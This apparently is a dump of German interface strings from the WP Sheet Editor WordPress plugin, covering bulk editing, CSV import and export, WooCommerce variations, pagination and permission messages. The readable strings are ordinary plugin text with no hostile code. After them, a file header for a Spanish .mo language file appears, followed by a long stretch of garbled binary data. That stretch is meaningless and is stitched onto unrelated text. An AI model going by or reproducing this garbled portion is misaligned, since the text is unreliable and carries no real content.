                  und du kannst viele coole Dinge tun, zum Beispiel:Die REST-API kann für die Interaktion mit unserem Arbeitsblatt von externen Anwendungen aus verwendet werden.Das Arbeitsblatt ist fertig.Das Arbeitsblatt für WooCommerce-Produkte generiert automatisch Bestandseinheiten und Bestandspreisstatistiken und zeigt die Statistiken über dem Arbeitsblatt an. Dies kann die Ausführung des Blattes verlangsamen, wenn du mehrere tausend Produkte hast. Deaktiviere die Funktion, wenn das Arbeitsblatt zu langsam ist oder beim Laden von Zeilen Fehler auftreten.Die automatische Speicherung ist fehlgeschlagen: Der Server ist nicht verfügbar oder überlastet. Willst du es erneut versuchen?Die Massenbearbeitung wurde ausgeführt. Möchtest du die Seite neu laden, um die Änderungen zu sehen?Bei der Massenbearbeitung fehlen wichtige Informationen, bitte füll das Formular aus.Die Massenbearbeitung läuft. Bitte schließ dieses Fenster nicht, bevor der Prozess abgeschlossen ist.Die Massenbearbeitung wurde erfolgreich ausgeführt. Du kannst dieses Fenster schließenIn der Zelle werden die Werte als URLs angezeigt, und du kannst in den Zellen die vollständigen URLs, die Datei-ID oder den Dateinamen bearbeiten.
                  Externe URLs werden automatisch in die Medienbibliothek importiert.
                  Wir werden den Wert in dem hier gewählten Format speichernIn den Zellen wird das Datum in diesem Format angezeigt: YYYY-MM-DDDie bevorstehenden Änderungen sind nicht umkehrbarDie bevorstehenden Änderungen sind nicht umkehrbar. Du solltest deine Datenbank sichern, bevor du fortfährst.Der im Arbeitsblatt angezeigte SpaltennameDie ausgewählte Spalte ist nicht gültig.Die Standardmethode verwendet eine schnellere Ausführungsmethode, aber sie funktioniert möglicherweise nicht in allen Fällen. Verwende diese Option, wenn die Standardmethode nicht funktioniert oder nicht alle Beiträge aktualisiert.Der Editor ist nur für angemeldete Benutzer verfügbar. Unbekannte Benutzer sehen ein Anmeldeformular.Der Export existiert nicht. Bitte exportiere erneut.Die Exportfunktion ist nicht mit deiner Website kompatibel. Stell sicher, dass WordPress und alle Plugins und Themen auf dem neuesten Stand sind.Die Dateien konnten nicht gespeichert werden.Die Importfunktion ist nicht mit deiner Website kompatibel. Stell sicher, dass WordPress und alle Plugins und Themen auf dem neuesten Stand sind.Das Element konnte nicht gespeichert werden. Bitte versuch es später noch einmal.Der Schlüssel, der zum Speichern der Information in der Datenbank verwendet wird. Dieser muss eindeutig sein, nur Buchstaben und Unterstriche.Die letzte Importverarbeitung ist aufgrund eines Serverfehlers fehlgeschlagen, wahrscheinlich war der Server überlastet.
                  1- Du kannst versuchen, je Zyklus weniger Zeilen zu importieren (d.h. importiere 2 Zeilen alle paar Sekunden).
                  2- Du kannst einen neuen Import starten, manchmal funktioniert ein erneuter Versuch (verwende die "erweiterten Einstellungen" in Schritt 1 des Imports, um von einer bestimmten Zeile aus zu beginnen).
                  3- Du kannst den PHP-Speicher erhöhen (folge diesem Tutorial)
                  4 - Wenn das Problem nach dem Versuch mit 1 Zeile je Zyklus auftritt, kannst du uns kontaktieren und wir werden das Problem für dich lösenDauert das Laden zu lange?
                  1. Du kannst warten, bis der Prozess abgeschlossen ist.
                  2. Du kannst Die Logdatei ist nicht vorhanden.Die mathematische Formel kann nicht angewendet werden. Wir haben festgestellt, dass einige vorhandene Daten nicht numerisch sind. Daten gefunden: %s, ID: %dDas Metafeld konnte nicht gelöscht werden.Das Metafeld wurde erfolgreich gelöschtDer Metaschlüssel konnte nicht umbenannt werden.Der Metaschlüssel wurde erfolgreich umbenanntDie Möglichkeit, Varianten für jede Kombination von Attributen zu erstellen, erfordert WooCommerce 3.0 oder höher. Bitte aktualisiere WooCommerce.Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT enthalten, als für Varianten verwendet. Gib mehrere durch Kommata getrennt ein. D.h. "Auto, Flugzeug" würde mit "Automodell, Auto-Marker, teures Flugzeug, Flugzeuge" übereinstimmen. Dies gilt nach der Bearbeitung eines Produkts in den Zellen des Arbeitsblatts.Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT enthalten, als sichtbar. Gib mehrere durch Kommata getrennt ein. D.h. "Auto, Flugzeug" würde mit "Automodell, Auto-Marker, teures Flugzeug, Flugzeuge" übereinstimmen. Dies gilt nach der Bearbeitung eines Produkts in den Zellen des Arbeitsblatts.Das Plugin wird für die hier nicht ausgewählten Benutzerrollen nicht initialisiert.Die Vorschau ist in Ordnung, starte den ImportDer Schnellzugriffslink ist abgelaufen oder existiert nichtDas ausgewählte Produkt hat keine VariantenDer Server konnte unsere Anfrage nicht bearbeiten. Bitte versuch es später noch einmal.Der Server hat unsere Anfrage nicht angenommen. Schlechte Anfrage, bitte versuch, die Seite zu aktualisieren und versuch es erneut.Der Server hat unsere Anfrage nicht angenommen. Du hast keine Erlaubnis, diese Aktion durchzuführen. Bitte logge dich erneut ein.Der Server hat die ihm zugewiesenen Ressourcen überschritten und ist nicht in der Lage, unsere Anfrage zu bearbeiten.Der Server ist ausgelastet und hat zu lange gebraucht, um auf unsere Anfrage zu antworten. Bitte versuch es später noch einmal.Der Server ist nicht verfügbar oder überlastet. Willst du es erneut versuchen?Der Server ist nicht verfügbar oder überlastet. Bitte versuch es später noch einmal.Der Server war nicht in der Lage, unsere Anfrage zu bearbeiten. Server-Fehler. Bitte versuch es später noch einmal.Das Ausgangsprodukt hat keine Varianten.Das Arbeitsblatt generiert automatisch Spalten für serialisierte Felder, was jedoch je nach Anzahl der serialisierten Felder viele CPU-Zyklen in Anspruch nehmen kann. Du kannst diese Funktion deaktivieren, wenn das Blatt zu langsam geladen wird, wenn du Fehler beim Laden der Zeilen erhalten oder wenn du keine Spalten mit dem Präfix "SEIS" sehen möchtest.Mit dem Tabelleneditor kannst du dein WordPress %s bearbeiten.Der Tabelleneditor ist sehr leistungsfähig und hat viele Funktionen. In diesem Schritt kannst du die Funktionen aktivieren, die du benötigst.Aus Leistungsgründen lädt das Arbeitsblatt nur die "sichtbaren Zeilen", so dass beim Scrollen nach oben oder unten die Zeilen dynamisch geladen werden. Auf diese Weise kannst du Tausende von Beiträgen im Arbeitsblatt "öffnen", und es funktioniert schnell. Wenn du jedoch die Browsersuche benutzen willst, um eine bestimmte Zelle zu finden, musst du das verzögerte Laden deaktivieren, damit alle Zeilen auf einmal geladen werden und der Browser die Zellen finden kann. Die Browsersuche funktioniert nicht standardmäßig, weil nur die "sichtbaren Zeilen" tatsächlich erzeugt werden.Die Taxonomie-Spalten (d.h. Kategorien, Tags) verwenden standardmäßig eine eingeschränkte Dropdown-Liste zur Auswahl nur eines Begriffs, und die Spalte kann durch Copy&Paste eingefügt werden. Wir haben einen netten Dropdown-Selektor, der eine bessere Autovervollständigung hat, die Auswahl mehrerer Optionen erlaubt usw., aber er verbraucht mehr Server-Ressourcen und erlaubt kein Copy&Paste in diese Zellen. Du kannst ihn hier aktivieren, wenn du ein besseres Dropdown-Menü der Möglichkeit zum Kopieren und Einfügen vorziehst.Die Varianten gelten für diese Produkte: Diese Farbe wird als Hintergrund für die Kopf- und Fußzeile verwendet.Diese Farbe wird für die Menü-Links verwendet, sie sollte das Gegenteil der Hintergrundfarbe sein, d.h. dunkler Hintergrund mit hellem Text oder heller Hintergrund mit dunklem TextDiese Spalte ist nur für übergeordnete Produkte, Varianten verwenden dieses Feld nichtDiese Spalte ist nur für Varianten relevant, übergeordnete Produkte verwenden dieses Feld nichtDiese Funktion ist als Premium-Erweiterung verfügbar.Dies ist nur für fortgeschrittene Benutzer oder wenn unser Support-Team dich bittet, diese Option zu verwenden. Wir haben 2 Möglichkeiten, mit serialisierten Feldern umzugehen: den alten Handler (standardmäßig verwendet, mit Einschränkungen) und den unbegrenzten Serialisierungs-Handler (besser, aber standardmäßig nicht aktiv, um frühere Integrationen nicht zu brechen). Verwende diese Option, wenn du serialisierte Felder hast, die falsch speichern oder nicht im Arbeitsblatt erscheinen.Dies ist optional. Lass das Feld leer, um den Namen aus den URLs zu verwenden. Gib mehrere durch Kommata getrennte Namen einDieses Logo wird über dem Arbeitsblatt im Frontend angezeigtDieses Menü wird im oberen rechten Abschnitt über dem Arbeitsblatt angezeigt.Dies kann hilfreich sein, wenn das Arbeitsblatt nicht oder leer geladen wird.Dies wird angezeigt, wenn der aktuelle Benutzer nicht eingeloggt ist und versucht, ein Arbeitsblatt zu sehen. Wir zeigen nach Ihrer Nachricht ein Anmeldeformular an.Dies erspart dir {clicks_count} Klicks :)Zeitersparnis
                  (geschätzt)ZeiteinheitTinyMCE EditorTipp: Wenn du Informationen von dieser Website bearbeitet hast, solltest du die bearbeiteten Spalten und die Datensatz-ID (record_id) importieren. Importiere keine Spalten, die nicht geändert wurdenTipp: Wir können dir bei der Einrichtung des Arbeitsblatts helfen. Erhalte sofortige Hilfe im Live-Chat während der GeschäftszeitenTipp: Du kannst das "Export"-Tool verwenden, um ein CSV herunterzuladen und die verfügbaren Spalten und das Format anzuzeigen.
                  Du kannst unsere Dokumentation hierlesen.TitelUm unter allen Beiträgen zu suchen, verwende das Suchwerkzeug. Verwende dieses, um einen Wert in den geladenen Zeilen des Arbeitsblatts zu finden und zu markieren. Markiere z.B. eine SKU oder eine E-Mail oder eine Anrede.Werkzeuge oberhalb der Tabelle.GesamtbetragSeparat übersetzenWenn du dies einschaltest, speichert das Arbeitsblatt alle 2 Minuten automatisch alle an den Zellen vorgenommenen Änderungen. Vorsicht: Dies kann zu Problemen führen, wenn die Änderungen vorzeitig gespeichert werden, bevor du die Bearbeitung aller erforderlichen Spalten abgeschlossen hast.TutorialTypURL-SlugUngefiltertes HTMLAlle abwählenAlle Spalten abwählenVorhandene Elemente aktualisieren, neue Elemente ignorierenVorhandenen Wert mit dem Ergebnis einer mathematischen Operation aktualisieren.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Einstellungen aktualisieren6 Erweiterungen aktualisiert.Bild hochladenDatei hochladenDateien hochladenHochgeladen vom BenutzerZu diesem Element hochgeladenZusatzverkäufeNutzungsstatistikenVerwende eine unbegrenzte Liste anstelle der SeitennummerierungAls Beitragsbild verwendenSeitennummerierung im Arbeitsblatt verwenden?Preise vom einfachen Produkt (Elternteil) auf die Varianten anwendenGetrennte Spalten für Bilder beim Export und Import verwenden?Langsamere Ausführungsmethode verwenden?Verwende diesen Editor nur zum Bearbeiten des Inhalts, andere Felder wie Tags und Kategorien sollten im Arbeitsblatt bearbeitet werden.Benutze diesen Link aus Sicherheitsgründen privat, dieser Link verfällt nach einmaliger Benutzung.Für Varianten verwendet?Für Variante verwendet?Benutzer-DropdownBenutzer nicht erlaubtBenutzer darf keine Zeilen bearbeitenBenutzerrollenBenutzerrollen, die den Tabelleneditor verwenden könnenBenutzernameBenutzerMit diesem Tool kannst du Tausende von Zeilen auf einmal aktualisierenWertWert im Ersetzungsabschnitt ist nicht gültigBeschreibung der VarianteVariante aktiviert?Variante: %sVarianten-ManagerVerkäuferAnzeigenErweiterungen anzeigenGalerie anzeigenArbeitsblatt anzeigenArbeitsblätter anzeigenErweiterungen anzeigenLogdatei anzeigenVirtuellSichtbarkeitWP EditorWP Sheet EditorVerwendung des WP Sheet EditorsWPBakery Page BuilderWPML - DuplikatWPML - SpracheWPML - BeziehungWPML - Übersetzung vonWPML - Priorität der ÜbersetzungTutorial ansehenWir speichern jetzt. Schließ dieses Fenster nicht, bevor der Vorgang abgeschlossen ist.Wir haben alle Spalten automatisch erkannt.Wir runden automatisch auf 2 Dezimalstellen auf. Du kannst hier eine beliebige Zahl eingeben, z.B. 1, um auf 1 Dezimalstelle zu rundenWir können die Datenbank durchsuchen, neue Felder finden und automatisch Spalten für die unterstützten Felder erstellen.Wir haben keine zu aktualisierenden Zeilen aus der Suchanfrage gefunden. Bitte versuche eine andere Suche.Wir finden Zeilen mit dem gleichen Wert im CSV-Feld und im WP-Feld.
                  D.h. Produkte mit derselben SKU oder ID.Wir haben ähnliche Spalten gefunden. Willst du dieselbe Aktion auf sie anwenden? {columns}Wir haben +200 Tutorials und Anleitungen in unserem BlogWir haben eine Erweiterung für die Anzeige dieses Arbeitsblatts im Frontend. Du kannst die Spalten auswählen, die angezeigt werden sollen, und die Arbeitsblattwerkzeuge für die Frontend-Benutzer auswählen (Suche, Menge, Bearbeiten, Import, Export usw.). Zum Beispiel:Wir importieren die Datei in Zyklen (d.h. 4 Zeilen alle paar Sekunden). Wenn ein Verarbeitungszyklus fehlschlägt, unterbrechen wir normalerweise den Import und fragen dich, ob du den Import erneut versuchen oder abbrechen möchtest. Wähle diese Option, um den Import automatisch zu wiederholen. Vorsicht: Du musst in Schritt 3 des Imports die Option zum Aktualisieren vorhandener Zeilen wählen, damit wir bei der Wiederholung den erfolgreichen Import überspringen und nur den fehlgeschlagenen Versuch wiederholen können. Wenn du in Schritt 3 des Imports nicht die Option zum Aktualisieren wählst, könnte jede Wiederholung einige zuvor importierte Zeilen duplizieren.Wir schränken die Spalten des Arbeitsblatts aus Leistungsgründen ein, um zu vermeiden, dass Tausende von Spalten im Arbeitsblatt geladen werden. Du kannst diese Begrenzung erhöhen, wenn du mehr Spalten anzeigen möchtest. Voreinstellung: 310Wir müssen das Arbeitsblatt neu laden, um die Varianten zu entfernen. Bitte speichere deine Änderungen zuerst, sonst gehen diese Änderungen verloren. Möchtest du jetzt neu laden?Wir müssen die Zeilen des Arbeitsblatts neu laden, um die Varianten zu laden. Bitte speichere deine Änderungen zuerst, sonst gehen diese Änderungen verloren. Möchtest du jetzt neu laden?Wir verwenden die Seitennummerierung, um weniger Server-Ressourcen zu nutzen. Wir laden am Anfang 20 Zeilen, und jedes Mal, wenn du nach unten scrollst, laden wir 20 weitere. Du kannst diese Zahl erhöhen, um mehr Zeilen je Seite zu laden. SORGFALT: Das Laden von mehr als 200 Zeilen pro Seite könnte deinen Server überlasten. Wenn wir feststellen, dass der Server überlastet ist, setzen wir automatisch auf 10 Zeilen pro Seite zurück.Wir verwenden die Seitennummerierung. Standardmäßig laden wir 20 Zeilen je Seite (jedes Mal, wenn du nach unten scrollst). Du kannst die Anzahl erhöhen, um bei jedem Herunterscrollen mehr Zeilen zu laden.Wir werden die neue Datei an die bestehenden Dateien in den Produkten anhängen. Gib nur die Datei-URL ein, du kannst mehrere durch Kommata getrennte URLs eingeben.Wir werden die neue(n) Datei(en) an die bestehende(n) Mediendatei(en) anhängen.Wir werden die ausgewählte(n) Zeile(n) vollständig aus der Datenbank löschen. Wenn du sie später wiederherstellen möchtest, solltest du vorher eine Sicherung machen. Willst du sie löschen?Wir werden dieses Metafeld aus der Datenbank löschen, und du verlierst in allen Zeilen die in diesem Feld gespeicherten Werte. Du solltest ein Backup erstellen, um in Zukunft eine Wiederherstellung durchführen zu können. Willst du mit dem Löschen fortfahren?Wir zeigen alle Spalten an, die gelöscht oder deaktiviert wurden, umbenannte Spalten zeigen die Originaltitel an, wir scannen die Datenbank erneut durch, um Spalten wiederzufinden, und die Geschwindigkeits-/fortgeschrittenen Einstellungen werden auf die Standardwerte zurückgesetzt. Dies betrifft nur die Einstellungen unseres Plugins und hat keinen Einfluss auf die mit dem Blatt bearbeiteten Daten.Wir werden die neue(n) Datei(en) der/den bestehenden Mediendatei(en) voranstellen.Wir werden die bestehende Mediendatei durch diese Datei ersetzen.Wir werden die bestehende(n) Mediendatei(en) durch diese Datei(en) ersetzen.Wir werden die bestehenden Begriffe durch diese Begriffe ersetzen.Wir werden die aktuelle Suchanfrage und die Exporteinstellungen speichern, und du kannst diesen Export in Zukunft mit einem Klick über das Dropdown-Menü im Exportmenü ausführenWir werden diese Dateien speichern. Bestehende Dateien werden überschrieben. Gib nur die Datei-URL ein, du kannst mehrere durch Kommata getrennte URLs eingeben.Wir werden diese Gruppe von Spalten als Arbeitsblattansicht speichern, und du kannst in der Werkzeugleiste zwischen den Arbeitsblättern wechselnWochenGewichtWillkommen bei WP Sheet EditorWelche Anwendung wirst du zur Bearbeitung dieser Datei verwenden? (optional)Welches Attribut möchtest du bearbeiten?Welche Spalten möchtest du exportieren?Welche Komponente benötigst du?Welches Datumsformat möchtest du in der Datenbank speichern?Welches Feld möchtest du bearbeiten?Welche Informationen möchtest du im Frontend bearbeiten?Welche Art von Beiträgen erfordert diese Spalte im Arbeitsblatt?Welche Einstellung möchtest du ändern?Welcher Wert wird gespeichert, wenn du beim Kontrollkästchen einen Haken setzt?Welcher Wert wird gespeichert, wenn du das Häkchen beim Kontrollkästchen entfernst?Was ist neu am WP Sheet EditorWenn das Blatt geladen und der Beitragsinhalt gespeichert wird, lassen wir es über wpautop laufen, um Probleme mit Zeilenumbrüchen zu vermeiden. Du kannst dies deaktivieren, wenn du die p-Tags im Inhalt nicht sehen/speichern möchtest.Wenn das Blatt geladen wird, öffnen wir es im Vollbildmodus, und du hast die Möglichkeit, den Vollbildmodus zu verlassen. Aktiviere diese Option, und wir werden das Blatt nicht im Vollbildmodus öffnen.Wenn dies aktiviert ist, werden weitere Elemente am Ende des Arbeitsblatts geladen, wenn du das Ende der Seite erreichstWenn dies aktiviert ist, werden weitere Elemente am unteren Rand des Arbeitsblatts geladen, wenn du das Ende der Seite erreichst. Du kannst dies auch im Arbeitsblatt aktivieren / deaktivieren.Wenn dies aktiviert ist, werden die Produktvarianten angezeigt, und du kannst sie bearbeiten.Beim Löschen von Beiträgen, Seiten, Events, Produkten, Bestellungen, Gutscheinen und anderen Beitragstypen kannst du auswählen, wie viele je Verarbeitungszyklus gelöscht werden sollen. Verwende eine höhere Anzahl, um schneller fertig zu werden. Der Standardwert ist 500Wenn du eine große Anzahl von Beiträgen im Tabelleneditor bearbeitest, können wir nicht alle Änderungen auf einmal speichern, also machen wir es in Stapeln. Aber dein Server kann nicht alle Stapel nacheinander bearbeiten, so dass wir nach jedem Verarbeitungszyklus einige Sekunden warten müssen, um deinem Server eine kleine Pause zu gönnen. Der empfohlene Wert ist 6 Sekunden; du kannst ihn so einstellen, wie es für dich am besten funktioniert. Wenn du beim Speichern Fehler erhältst, solltest du die Zahl erhöhen, um deinem Server nach jedem Zyklus eine längere Pause zu gebenWenn du eine große Anzahl von Beiträgen im Tabelleneditor bearbeitest, können wir nicht alle Änderungen auf einmal speichern, also machen wir es in Stapeln. Der empfohlene Wert ist 4 , was bedeutet, dass wir nur 4 Beiträge auf einmal bearbeiten werden. Du kannst ihn so anpassen, wie es für dich am besten funktioniert. Wenn du beim Speichern Fehler erhältst, solltest du die Zahl verringernWenn du diesen Schritt abgeschlossen hast, kannst du den Frontend-Editor verwenden. Du kannst die Frontend-Seite zu einem Menü hinzufügen oder den Link mit deinen Benutzern teilen.Wenn du 1000 Beiträge hast, möchtest du vielleicht das Arbeitsblatt öffnen und mit der Bearbeitung ab Beitrag 200 beginnen. Mit dieser Option kannst du viele Zeilen überspringen. WICHTIG. Wir verwenden die Seitennummerierung, d.h. wir zeigen die Seite an, die dieser Zahl am nächsten liegt. Zum Beispiel. Wenn du 10 Zeilen je Seite lädst und 1205 als Offset eingibst, beginnt das Blatt bei Seite 120 (Index 1200), weil es die Seite ist, die dem definierten Offset am nächsten liegt.Wenn du ein Bild unter Verwendung von FTP-URLs importierst, wird das Bild jedes Mal importiert, und es kann sein, dass du am Ende Duplikate in der Medienbibliothek hast. Aktiviere diese Option, um Bilder in der Medienbibliothek mit demselben Dateinamen wiederzuverwenden und bei zukünftigen Importen das erneute Herunterladen des FTP-Bildes zu vermeiden. Deaktiviere diese Option, wenn du die Bilder bei zukünftigen Importen aktuell halten willst.Wenn du das Arbeitsblatt lädst, erhalten wir alle Spalten auf einmal aus der Datenbank, um es schneller zu machen, dies wird Prefetch genannt. Dies kann zu Problemen führen, wenn du Tausende von Spalten oder seltene Datenbank-Setups hast.Wenn du das Arbeitsblatt öffnest, laden wir die Zeilen automatisch, so dass du sofort mit der Bearbeitung beginnen kannst. Aktiviere diese Option, wenn du Zeilen suchen und manuell laden möchtest.Wenn du WordPress Multisite verwendest und einen Benutzer im Benutzerarbeitsblatt löschst, entfernen wir standardmäßig nur den Benutzer von der aktuellen Site, der Benutzer bleibt jedoch im Netzwerk. Aktiviere diese Option, wenn du das Benutzerkonto aus dem gesamten Netzwerk löschen möchtestWelche Dubletten möchtest du löschen?Welche Varianten möchtest du kopieren?BreiteMit unserem Editor kannst du alle Informationen von
                  deinem %s bearbeiten, was dir viel Zeit erspart.Mit diesen DateienMit diesemMit dieser DateiWooCommerce - BASIS-IntegrationWooCommerce - Produkt-IntegrationWooCommerce-GutscheineArbeitsblatt für WooCommerce-GutscheinenArbeitsblatt für WooCommerce-KundenArbeitsblatt für WooCommerce-BestellungenWooCommerce-ProdukteWordPress-FeldWordPress-FeldWordPress verwendet die Heartbeat API, um den Anmeldestatus alle paar Sekunden zu überprüfen. Dies kann deinen Server überlasten, weil er Hunderte von Anfragen stellen kann, wenn du im Arbeitsblatt arbeitest. Du kannst dies deaktivieren, um die Belastung deines Servers während der Bearbeitung des Arbeitsblatts zu verringern. Wenn du das Arbeitsblatt jedoch über mehrere Tage geöffnet lässt, kann deine Anmeldesitzung ablaufen und du würdest darüber nicht benachrichtigt, wenn du den Heartbeat deaktivierst. Dies kann zu Problemen beim Speichern führen. Verwende diese Option also nur, wenn du das Arbeitsblatt nur einige Stunden lang verwendest.Falsches DatenformatFalsche Dateierweiterung. Wir akzeptieren nur CSVFalsche Datei-URLFalscher Produkttyp. Stell sicher, dass es sich um ein variables Produkt handelt.XYOAST SEOJahreJaDu darfst diese Aktion nicht durchführen. Bitte lade die Seite neu, oder logge dich erneut ein.Du kannst die Sprache dieses Beitrags ändern. Wenn die Übersetzung für die neue Sprache vorhanden ist, wird diese Änderung nicht übernommen.Du kannst einfache Produkte in variable Produkte umwandeln. Du kannst Varianten in ein einfaches Produkt kopieren und die Preise des einfachen Produkts bei den Varianten beibehalten.Du kannst hier neue Elemente erstellenDu kannst dies mehrfach tunDu kannst deine Medieninformationen wie folgt bearbeiten:Du kannst deine WooCommerce-Produktinformation wie folgt bearbeiten:Hier findest du alle Einstellungen, wie z.B. die Sichtbarkeit der Spalten, usw.Du kannst unsere FAQ mit einer Liste von Hunderten von Fragen lesenDu kannst die Größe des Editors ändernDu kannst nach jedem Feld mit Hilfe von Operatoren suchen. D.h. price > 100, image != (empty)In der ersten Option dieses Formulars kannst du die Zeilen für die Bearbeitung auswählen.Du kannst den Tabelleneditor in nur 5 Minuten benutzen. Bitte folge diesen Schritten.Du hast nicht genügend Berechtigungen, um neue Zeilen zu erstellen.Du hast nicht genügend Berechtigungen, um diese Aktion durchzuführen.Du hast nicht genügend Berechtigungen, um diese Aktion auszuführen.Du hast nicht genügend Berechtigungen zum Laden von Zeilen.Du hast nicht genügend Berechtigungen zum Speichern von Änderungen.Du hast nicht genügend Berechtigungen für die Suche nach Taxonomiebegriffen.Du hast nicht genügend Berechtigungen, um diese Seite anzuzeigen.Du hast eine ungültige Formel eingegeben. Bitte überprüfe dies oder kontaktiere uns.Du hast Beiträge geändert. Bitte speichere die Änderungen, denn wir werden das Arbeitsblatt aktualisieren.Du hast Beiträge geändert. Bitte speichere die Änderungen, denn wir werden das Arbeitsblatt aktualisieren. Möchtest du jetzt aktualisieren?Du hast Zeilen geändert. Bitte speichere die Änderungen, bevor du Spalten aus dem Arbeitsblatt entfernst.Du hast noch keine Formeln gespeichert.Du musst die vollständige Hierarchie wie Elternteil > Kind eingebenDu musst es aus Sicherheitsgründen privat nutzen, dieser Link verfällt nach einmaliger Nutzung.Du musst die Zeilen manuell laden, da du das automatische Laden von Zeilen deaktiviert hast. Einstellungen ändernDu musst dich anmelden, um diese Seite anzuzeigen.Du musst ein Logo auf der Einstellungsseite festlegen. Optional kannst du die Hintergrundfarbe oder die Farbe der Links ändern und ein Kopfzeilenmenü festlegen.Du hast eine Spalte aus der CSV-Datei unten ausgewählt, aber die Spalte wird nicht
                  importiert. Bitte geh zum vorherigen Schritt und wähle die zu importierende Spalte aus.
                  Hypothetisches Beispiel: Wenn du bestehende Produkte mit derselben ID aktualisieren möchtest, musst du die ID-Spalte importieren, da wir sonst nicht über die IDs verfügen, um sie zu finden.Du kannst den Titel des Beitrags in die Zelle eingeben, und die Zelle zeigt eine Dropdown-Liste mit Vorschlägen an.Du kannst den Benutzernamen in die Zelle eingeben, und die Zelle zeigt eine Dropdown-Liste mit Vorschlägen an.Dein Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Willst du es erneut versuchen?Dein Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Willst du es erneut versuchen? Du kannst es 3 mal versuchen. Schlagen 3 Versuche fehl, stoppen wir den Import vollständig.leerempfohlen?oderbis{deleted} Duplikate wurden entfernt.{updated} gespeicherte Elemente von {total} Elementen, die gespeichert werden müssen.modules/wp-sheet-editor/lang/vg_sheet_editor-es_MX.mo000064400000640304147600365160016714 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J 